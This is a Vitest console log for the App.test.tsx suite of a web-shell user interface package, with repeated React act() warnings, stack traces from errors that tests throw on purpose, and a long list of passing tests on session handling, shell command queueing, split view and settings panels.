/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > does not notify session change when missing-session new chat fails
[web-shell] network Error: network
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:6975:59
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
stderr | App.test.tsx > App session callbacks > commits the first prompt after creating its session
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > commits the first prompt after creating its session
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > commits the first prompt after creating its session
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > commits the first prompt after creating its session
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > commits the first prompt after creating its session
An update to Popper inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to Presence inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > lets a selected session bypass a stale preparation promise
[web-shell] Session changed before attach: expected session-created, found session-selected Error: Session changed before attach: expected session-created, found session-selected
at createAndAttachSessionForPrompt [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/utils/sessionPreparation.ts:102:13[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.tsx:4251:7
stderr | App.test.tsx > App session callbacks > lets a selected session bypass creation before its id is allocated
[web-shell] Session changed before attach: expected session-created, found session-selected Error: Session changed before attach: expected session-created, found session-selected
at createAndAttachSessionForPrompt [90m(/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/utils/sessionPreparation.ts:102:13[90m)[39m
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.tsx:4251:7
stderr | App.test.tsx > App session callbacks > clears a shared rejected preparation so a later submit can retry
[web-shell] create failed Error: create failed
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:8027:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
[web-shell] create failed Error: create failed
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:8027:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
stderr | App.test.tsx > App session callbacks > opens a new side task for /btw side when the capability is available
[web-shell] workspace.client.createSideTaskSession is not a function TypeError: workspace.client.createSideTaskSession is not a function
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.tsx:2515:46
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/SideTaskPanel.tsx:137:29
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/SideTaskPanel.tsx:160:10
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25989:20)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at commitHookEffectListMount (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:13249:29)
at commitHookPassiveMountEffects (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:13336:11)
at commitPassiveMountOnFiber (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15484:13)
at recursivelyTraversePassiveMountEffects (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15439:11)
at commitPassiveMountOnFiber (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15476:11)
stderr | App.test.tsx > App session callbacks > reports a host slash command error and continues default handling
[web-shell] host handler exploded Error: host handler exploded
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:8448:19
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
stderr | App.test.tsx > App session callbacks > creates a side task from the external shell ref
An update to SideTaskCreation inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
[web-shell] workspace.client.createSideTaskSession is not a function TypeError: workspace.client.createSideTaskSession is not a function
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.tsx:2515:46
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/SideTaskPanel.tsx:137:29
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/components/artifacts/SideTaskPanel.tsx:160:10
at Object.react_stack_bottom_frame (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:25989:20)
at runWithFiberInDEV (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:874:13)
at commitHookEffectListMount (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:13249:29)
at commitHookPassiveMountEffects (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:13336:11)
at commitPassiveMountOnFiber (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15484:13)
at recursivelyTraversePassiveMountEffects (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15439:11)
at commitPassiveMountOnFiber (/build/qwen-code/src/qwen-code/node_modules/[4mreact-dom[24m/cjs/react-dom-client.development.js:15476:11)
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > routes AskUserQuestion submission errors to an error toast
[web-shell] Submit option is unavailable Error: Submit option is unavailable
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:10786:9
at Proxy.process.env.NODE_ENV.exports.act (/build/qwen-code/src/qwen-code/node_modules/[4mreact[24m/cjs/react.development.js:814:22)
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:10784:5
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
stderr | App.test.tsx > App /goal command > does not drop the goal into the current session when the new session fails
[web-shell] daemon unreachable Error: daemon unreachable
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:11901:7
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
stderr | App.test.tsx > App manual-run orchestration (scheduled tasks) > "create via chat" does NOT prime the composer when the new session fails
[web-shell] boom Error: boom
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:12062:59
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:20
✓ App.test.tsx (303 tests) 385706ms
✓ mergeSideTaskCatalog > replaces the catalog when the parent session changes 349ms
✓ task activity key > keeps the legacy inline behavior when monitor correlation is unsupported 4744ms
✓ task activity key > opens environment information for /tasks without a dialog 1351ms
✓ task activity key > opens a monitor tool from the transcript in the right panel 2046ms
✓ task activity key > merges a reopened monitor into its existing tab 2290ms
✓ task activity key > updates an open monitor tab from background task polling 1879ms
✓ task activity key > returns to inline behavior when a capable daemon has no matching task 854ms
✓ task activity key > ignores a monitor task response after switching sessions 989ms
✓ App plan todos > gates the exit-plan workflow on the experimental setting 935ms
✓ App plan todos > refreshes dependencies when only blockedBy changes 989ms
✓ App plan todos > opens the workflow dialog with plan todos and linked agents 1064ms
✓ App composer footer renderer > passes composer state and keeps the header, composer, and footers ordered 861ms
✓ App composer footer renderer > updates composer footer state and renders it in the empty welcome state 2195ms
✓ App composer footer renderer > does not add composer footer DOM when omitted or when the renderer returns null 1098ms
✓ App shell command queueing > lazily creates a session for ! shell commands in a new task 1169ms
✓ App shell command queueing > runs the ! command in a new task even when the session-id render commits before attach resolves 1388ms
✓ App shell command queueing > returns true and clears editor for ! commands with an existing session 660ms
✓ App shell command queueing > blocks duplicate ! submission while session creation is in flight 1076ms
✓ App shell command queueing > releases isPreparing after session creation, not after command completion 1105ms
✓ App shell command queueing > reports an error and skips the command when session creation fails 1850ms
✓ App shell command queueing > queues a ! command during a turn and drains it when the turn ends 1446ms
✓ App shell command queueing > drops queued ! commands when the session changes 1156ms
✓ App shell command queueing > aborts remaining commands if the session changes mid-drain 1466ms
✓ App shell command queueing > drops the whole queue when the drain bails, preserving FIFO integrity 1824ms
✓ App shell command queueing > preserves commands queued after cancel while a drain command is still running 1405ms
✓ App shell command queueing > preserves commands queued after a session switch while a drain command is still running 1951ms
✓ App shell command queueing > drains multiple queued commands in FIFO order 1177ms
✓ App shell command queueing > keeps draining when streamingState changes between commands 1576ms
✓ App shell command queueing > does not drop queued commands when a new command is queued mid-drain 1520ms
✓ App shell command queueing > continues draining after a command fails 1183ms
✓ App shell command queueing > drops queued ! commands when the user cancels 1088ms
✓ App shell command queueing > stops draining remaining commands when the user cancels mid-drain 1068ms
✓ App shell command queueing > does not drop queued commands when the UI language changes 2143ms
✓ App shell command queueing > does not drain when the connection is not connected 1354ms
✓ App shell command queueing > does not resume a cancelled drain when a later drain starts 1444ms
✓ App shell command queueing > skips sendShellCommand when the user cancels during session creation 1145ms
✓ App shell command queueing > allows new shell commands after cancel during session creation 1173ms
✓ App shell command queueing > runs a retry submitted while session creation is still in flight after cancel 1209ms
✓ App shell command queueing > skips sendShellCommand when the session changes during session creation 1413ms
✓ App shell command queueing > reports an error when sendShellCommand rejects with an existing session 705ms
✓ App shell command queueing > returns false for bare ! or whitespace-only ! commands 651ms
✓ App session callbacks > binds the main composer Voice target to its active secondary session 682ms
✓ App session callbacks > keeps primary Voice model reads and writes on legacy routes 1140ms
✓ App session callbacks > keeps the legacy pre-session Voice fallback out of git status 444ms
✓ App session callbacks > uses qualified providers and workspace settings for secondary Voice models 1359ms
✓ App session callbacks > never exposes the primary Voice setting while secondary settings load 1198ms
✓ App session callbacks > drops a provider failure after the Voice workspace changes 1198ms
✓ App session callbacks > drops a stale provider success after an A to B to A workspace change 2081ms
✓ App session callbacks > drops a provider failure after the Web Shell unmounts 675ms
✓ App session callbacks > closes an open Voice picker when its capability gate is lost 1262ms
✓ App session callbacks > does not open a pending Voice picker after entering split view 1025ms
✓ App session callbacks > does not open a pending command Voice picker after entering Settings 844ms
✓ App session callbacks > waits for session loading to finish before requesting status 832ms
✓ App session callbacks > uses the session catalog title when the connection has no display name 971ms
✓ App session callbacks > keeps the persistent chat header opt-in for existing integrations 497ms
✓ App session callbacks > lets a custom renderer replace the complete persistent chat header 646ms
✓ App session callbacks > keeps legacy task status for a custom header without explicit header configuration 450ms
✓ App session callbacks > controls the built-in chat header actions through header items 570ms
✓ App session callbacks > hides the complete chat header when header items are empty 524ms
✓ App session callbacks > opens environment information without restoring composer Git information 719ms
✓ App session callbacks > keeps the right-panel action visible and opens a review-only empty state 1044ms
✓ App session callbacks > opens the latest reviewable turn from the empty right panel 2124ms
✓ App session callbacks > floats environment information in ultrawide mode 914ms
✓ App session callbacks > closes environment information at the dock breakpoint and reopens it floating 1354ms
✓ App session callbacks > opens environment information floating beside an open right panel 1708ms
✓ App session callbacks > keeps the environment action visible without dynamic activity 548ms
✓ App session callbacks > keeps the environment action visible for a clean working tree 578ms
✓ App session callbacks > shows the environment action for a background task in the transcript 502ms
✓ App session callbacks > opens an environment monitor in the right panel 1917ms
✓ App session callbacks > opens an environment shell task in the right panel 1929ms
✓ App session callbacks > closes environment information when the active session changes 1070ms
✓ App session callbacks > keeps environment information open with its subagent panel 4688ms
✓ App session callbacks > opens an out-of-band fork task in the right panel 1537ms
✓ App session callbacks > updates the header when session metadata supplies a generated title 704ms
✓ App session callbacks > refreshes the generated title after the first turn completes 1553ms
✓ App session callbacks > submits through a disconnected session when prompt SSE restart is enabled 1012ms
✓ App session callbacks > reports the current workspace id and path 1469ms
✓ App session callbacks > reports the selected workspace, not the stale connection workspace, when no session is active 714ms
✓ App session callbacks > reports the primary workspace, not the stale connection workspace, when the selection is unset 504ms
✓ App session callbacks > keeps reporting the active session workspace despite a conflicting next-session selection 743ms
✓ App session callbacks > notifies the host on each deferred workspace switch while no session is active 862ms
✓ App session callbacks > creates scratch once, accepts refreshed capabilities, and opens a fresh chat 1206ms
✓ App session callbacks > opens one App-owned Add workspace dialog from both entry points 1304ms
✓ App session callbacks > forwards a supported workspace display name through the shared mutation lane 1138ms
✓ App session callbacks > omits unsupported persistence and display-name options 1080ms
✓ App session callbacks > rejects when the daemon does not confirm persistent registration 941ms
✓ App session callbacks > surfaces an inline error when an added folder cannot refresh capabilities 864ms
✓ App session callbacks > retries only capability refresh after a committed scratch cannot reconcile 1329ms
✓ App session callbacks > locks scratch creation after an unknown outcome until acknowledged 1488ms
✓ App session callbacks > reports a definitive 4xx rejection without locking scratch creation 1642ms
✓ App session callbacks > falls back to primary when the draft workspace becomes untrusted 1524ms
✓ App session callbacks > revalidates a draft workspace before its cleanup effect runs 1478ms
✓ App session callbacks > does not start a new chat when selecting the active workspace 777ms
✓ App session callbacks > starts a fresh chat when an active session selects a different trusted workspace 922ms
✓ App session callbacks > executes one clear when two workspace-switch intents arrive in the same tick 1018ms
✓ App session callbacks > keeps composer workspace props stable across an equivalent list refresh 1013ms
✓ App session callbacks > keeps composer git status stable across an equivalent refresh 796ms
✓ App session callbacks > creates new sessions in the locked workspace without a selector 726ms
✓ App session callbacks > creates first sessions in the initial unlocked workspace 951ms
✓ App session callbacks > clears the git mode intent when starting a new session from the sidebar 1220ms
✓ App session callbacks > hides the git mode chip when the workspace is not trusted 533ms
✓ App session callbacks > fetches the composer git status on both the fast and the wait:true fresh path 524ms
✓ App session callbacks > mirrors connection.gitStatus into the composer git chip 726ms
✓ App session callbacks > skips the wait:true fresh path for worktree sessions 1037ms
✓ App session callbacks > forwards the branch intent to createSession when submitting a prompt 794ms
✓ App session callbacks > forwards the worktree intent to createSession when submitting a prompt 846ms
✓ App session callbacks > reloads skills from the target workspace when starting a new session 1154ms
✓ App session callbacks > uses a registered capability fallback while the workspace list is stale 659ms
✓ App session callbacks > uses configured composer placeholders by state and falls back for blank values 1465ms
✓ App session callbacks > filters disabled skills from the web-shell skills list 733ms
✓ App session callbacks > reloads skills when starting a new session 1119ms
✓ App session callbacks > adds an enabled skill command when starting a new session 1704ms
✓ App session callbacks > shows a missing-session empty state with a new-session action for 404 1027ms
✓ App session callbacks > shows a missing-session empty state with a new-session action for 410 859ms
✓ App session callbacks > dispatches an automatic recap when the session remains active 949ms
✓ App session callbacks > discards an automatic recap after starting a new session 1047ms
✓ App session callbacks > discards an automatic recap tagged for a different session 726ms
✓ App session callbacks > discards an automatic recap after switching to an existing session 935ms
✓ App session callbacks > discards an automatic recap after resuming a session by command 806ms
✓ App session callbacks > discards an automatic recap after clearing the screen 757ms
✓ App session callbacks > discards an automatic recap when the connection session id changes 1071ms
✓ App session callbacks > focuses the composer after starting a new session 1145ms
✓ App session callbacks > focuses a cleared new session without waiting for detach 1254ms
✓ App session callbacks > focuses the composer after loading an existing session 1258ms
✓ App session callbacks > does not steal focus when an approval appears before deferred session focus 1444ms
✓ App session callbacks > does not show missing-session state for non-404/410 errors 1122ms
✓ App session callbacks > does not show missing-session state while connecting 697ms
✓ App session callbacks > does not notify session change when missing-session new chat fails 896ms
✓ App session callbacks > preserves active goal for the same session and clears it after session changes 1493ms
✓ App session callbacks > gates direct submissions and dispatches submit events with delayed sidebar reload 1221ms
✓ App session callbacks > cancels an approved direct submission after the session changes 1333ms
✓ App session callbacks > cancels an approved new-task submission after its target workspace changes 959ms
✓ App session callbacks > cancels an approved submission as soon as a workspace switch starts 1211ms
✓ App session callbacks > does not rerender the composer while a draft waits for intent classification 705ms
✓ App session callbacks > keeps ChatEditor memoized across transcript-only app renders 825ms
✓ App session callbacks > does not suggest a new session for obvious follow-up prompts 764ms
✓ App session callbacks > suggests starting a new session for a new-topic prompt and auto-sends it in the fresh session 2363ms
✓ App session callbacks > suggests sending a side question with BTW and clears the accepted draft 1819ms
✓ App session callbacks > refuses a visible BTW suggestion when an inline tag is added before acceptance 1066ms
✓ App session callbacks > waits for the current session to detach before auto-submitting the suggested new-session draft 1652ms
✓ App session callbacks > dismisses a stale new-session suggestion after the draft changes before acceptance 1036ms
✓ App session callbacks > cancels the pending new-session auto-submit when another session becomes active first 1568ms
✓ App session callbacks > keeps concurrent programmatic submissions behind session preparation 1259ms
✓ App session callbacks > commits the first prompt after creating its session 1082ms
✓ App session callbacks > lets a selected session bypass a stale preparation promise 3005ms
✓ App session callbacks > lets a selected session bypass creation before its id is allocated 1686ms
✓ App session callbacks > clears a shared rejected preparation so a later submit can retry 1489ms
✓ App session callbacks > cancels direct submissions when onSubmitBefore rejects and preserves retry state 2361ms
✓ App session callbacks > allows manual retry after a model stream interrupted turn error 2786ms
✓ App session callbacks > gates queued submissions and only enqueues after approval 1155ms
✓ App session callbacks > cancels an approved queued submission after the session changes 1464ms
✓ App session callbacks > cancels queued submissions when onSubmitBefore rejects 972ms
✓ App session callbacks > keeps daemon-bound slash command drafts when onSubmitBefore rejects 2077ms
✓ App session callbacks > refreshes background tasks after /fork launches 1085ms
✓ App session callbacks > keeps /btw as a lightweight side question when side tasks are available 1194ms
✓ App session callbacks > opens a new side task for /btw side when the capability is available 1708ms
✓ App session callbacks > keeps /btw side as a lightweight question without the capability 1081ms
✓ App session callbacks > passes a directive to /fork as a regular background-agent directive 1021ms
✓ App session callbacks > notifies the host before forwarding a slash command 1041ms
✓ App session callbacks > lets the host handle a slash command instead of forwarding it 834ms
✓ App session callbacks > lets the host override a built-in slash command 912ms
✓ App session callbacks > does not treat an absolute path as a slash command 986ms
✓ App session callbacks > lets the host handle a slash command while the daemon is unavailable 805ms
✓ App session callbacks > reports a host slash command error and continues default handling 1111ms
✓ App session callbacks > uses the latest slash command handler after a rerender 1013ms
✓ App session callbacks > forwards input annotations for /plan prompts in active sessions 1689ms
✓ App session callbacks > dispatches turn_complete only for the session that was streaming 2455ms
✓ App session callbacks > auto-closes an open Settings/Status panel when a tool approval becomes pending 1330ms
✓ App session callbacks > does not open the extensions manager page with /extension manage 1037ms
✓ App session callbacks > opens the extensions manager page with /extensions manage 1307ms
✓ App session callbacks > opens the Skill manager page with /skills 949ms
✓ App session callbacks > opens the Skill manager page with /skills detail 965ms
✓ App session callbacks > opens the Skill manager page with /skills details 1020ms
✓ App session callbacks > converts /skills arguments to a direct skill command 1032ms
✓ App session callbacks > opens plugin management tabs from the sidebar 2461ms
✓ App session callbacks > opens Channel management from the sidebar 1893ms
✓ App session callbacks > shadow-isolates the unified plugin manager body when plugins is enabled 1477ms
✓ App session callbacks > shadow-isolates the /extensions manage compatibility page when plugins is enabled 1140ms
✓ App session callbacks > shadow-isolates the /mcp compatibility page when plugins is enabled 2208ms
✓ App session callbacks > shadow-isolates the /skills details compatibility page when plugins is enabled 1518ms
✓ App session callbacks > uses one shadow root for all portals without moving plugin content 1442ms
✓ App session callbacks > only shows server startup progress during MCP discovery 1753ms
✓ App session callbacks > shows server operations without duplicating tools and resources tabs 5566ms
✓ App session callbacks > polls workspace MCP status until browser authentication completes 5309ms
✓ App session callbacks > does not show MCP discovery progress 1691ms
✓ App session callbacks > does not initialize MCP discovery when it is already complete 1405ms
✓ App session callbacks > does not show MCP discovery progress before or after completion 2262ms
✓ App session callbacks > auto-closes an open panel when an AskUserQuestion approval becomes pending 1462ms
✓ App session callbacks > opens the Daemon Status panel and auto-closes it on a pending approval 1307ms
✓ App session callbacks > opens the Session Overview panel from the sidebar 951ms
✓ App session callbacks > opens the split view from the sidebar 1039ms
✓ App session callbacks > preserves the legacy split Voice workspace fallback 765ms
✓ App session callbacks > restores a persisted split on load (survives a refresh) 765ms
✓ App session callbacks > does not open the split when nothing was persisted 874ms
✓ App session callbacks > clears the persisted split when the user leaves the split view 895ms
✓ App session callbacks > syncs the split view from external session ids without the sidebar 1336ms
✓ App session callbacks > dedupes and caps external split session ids 735ms
✓ App session callbacks > does not reopen controlled split view when the same ids get a new array reference 922ms
✓ App session callbacks > notifies external callers when split session ids change inside WebShell 924ms
✓ App session callbacks > notifies external callers when uncontrolled split session ids change 1979ms
✓ App session callbacks > opens the split view from the external shell ref like the sidebar button 992ms
✓ App session callbacks > requests controlled split ids from the external shell ref 789ms
✓ App session callbacks > assigns and clears the external shell object ref 816ms
✓ App session callbacks > creates a side task from the external shell ref 1337ms
✓ App session callbacks > opens the Session Overview from the external shell ref like the sidebar button 996ms
✓ App session callbacks > forces the compact session drawer from the external shell ref 1018ms
✓ App session callbacks > does not open or lock scrolling when the sidebar is disabled 737ms
✓ App session callbacks > closes a forced compact drawer when the sidebar becomes disabled 1182ms
✓ App session callbacks > dismisses a forced compact drawer before opening split view 1191ms
✓ App session callbacks > dismisses a forced compact drawer before opening the Session Overview 1121ms
✓ App session callbacks > returns a forced compact drawer to viewport control when dismissed 1130ms
✓ App session callbacks > returns to chat and clears the current page when opening the compact drawer 1571ms
✓ App session callbacks > clears a forced compact drawer after crossing to a wide viewport 1241ms
✓ App session callbacks > starts a new session from the external shell ref and returns to chat 1298ms
✓ App session callbacks > reports a failed external new-session attempt through its boolean result 979ms
✓ App session callbacks > returns to the Session Overview when leaving the split view 1127ms
✓ App session callbacks > notifies controlled callers when leaving the split view 1244ms
✓ App session callbacks > preserves the pane set when leaving the split view and reopening it 1654ms
✓ App session callbacks > reconciles split pane artifact snapshots in the right panel 3111ms
✓ App session callbacks > opens a split pane monitor in the right panel 1535ms
✓ App session callbacks > clears split pane artifact snapshots when switching sessions 4419ms
✓ App session callbacks > enters the split view from a ?split= URL and consumes the param 1134ms
✓ App session callbacks > lets controlled split session ids take precedence over a ?split= URL 1045ms
✓ App session callbacks > seeds the split from a ?split= URL, deduping and capping the explicit selection 2012ms
✓ App session callbacks > keeps the split view open when an approval becomes pending (unlike the scheduled-tasks page) 1410ms
✓ App session callbacks > surfaces the outer approval as a split notice and returns to chat when clicked 1649ms
✓ App session callbacks > auto-closes the split view when the screen shrinks below the breakpoint 1444ms
✓ App session callbacks > notifies controlled callers when a screen shrink closes the split view 1104ms
✓ App session callbacks > folds the split without switching the chat session on shrink 1213ms
✓ App session callbacks > restores the split view when the screen grows back after a shrink 1466ms
✓ App session callbacks > auto-collapses the sidebar in a narrow split and expands it when wide 1011ms
✓ App session callbacks > lands on the first pane, not an empty new chat, when a shrink closes a URL-driven split 1083ms
✓ App session callbacks > keeps the chat on its own session (does not re-point to the first pane) when a shrink closes the split 1225ms
✓ App session callbacks > auto-closes the Session Overview when the screen shrinks below the breakpoint 1423ms
✓ App session callbacks > dismisses the Scheduled Tasks page when an approval becomes pending 1445ms
✓ App session callbacks > opening Daemon Status closes the Scheduled Tasks page (mutually exclusive full-pane views) 1188ms
✓ App session callbacks > opening Scheduled Tasks closes an open Settings/Status panel 1245ms
✓ App session callbacks > keeps the panel open when transcript blocks carry no actionable approval 1150ms
✓ App session callbacks > keeps the composer dormant (dialogOpen) while an approval overlay is up 1064ms
✓ App session callbacks > keeps an active Voice owner stable while a normal dialog is open 1971ms
✓ App session callbacks > dismisses an open sub-dialog (model picker) when an approval becomes pending 1762ms
✓ App session callbacks > opens the Changes dialog for /diff and does not forward it to the agent 1321ms
✓ App session callbacks > opens the Pull requests dialog for /prs when the daemon supports it 1255ms
✓ App session callbacks > does not open the Pull requests dialog for /prs without the capability 1122ms
✓ App session callbacks > marks the approval overlay keyboard-active when it appears 1200ms
✓ App session callbacks > marks the ask-user question overlay keyboard-active when it appears 1066ms
✓ App session callbacks > routes AskUserQuestion submission errors to an error toast 1120ms
✓ App session callbacks > closes the panel on Escape from outside the sidebar 1411ms
✓ App session callbacks > keeps the panel open on Escape originating inside the sidebar 1057ms
✓ App session callbacks > marks the composer dormant (dialogOpen) while a panel replaces the chat 1145ms
✓ App session callbacks > blocks app-level shortcuts while an external modal is registered 1184ms
✓ App session callbacks > restores composer focus after an approval resolves following a panel auto-close 1596ms
✓ App session callbacks > closes the panel and restores composer focus on Back button click 1373ms
✓ App session callbacks > closes the panel, sends /model --fast, and reloads settings on fast-model pick 2358ms
✓ App session callbacks > sends /model --fast with --global when the fast-model picker is opened from the User tab 1949ms
✓ App session callbacks > keeps a secondary Voice user-scope write on the shared legacy setting route 1502ms
✓ App session callbacks > sends /language ui --project for a workspace-scoped language change from Settings 1297ms
✓ App session callbacks > marks the chat view aria-hidden while a panel is shown 1057ms
✓ App session callbacks > closes an open panel when resuming a session via /resume 1333ms
✓ App session callbacks > dispatches rename only after the current session name changes 1262ms
✓ App prompt send failure retry > marks the failed message and retries its original payload without a duplicate 2381ms
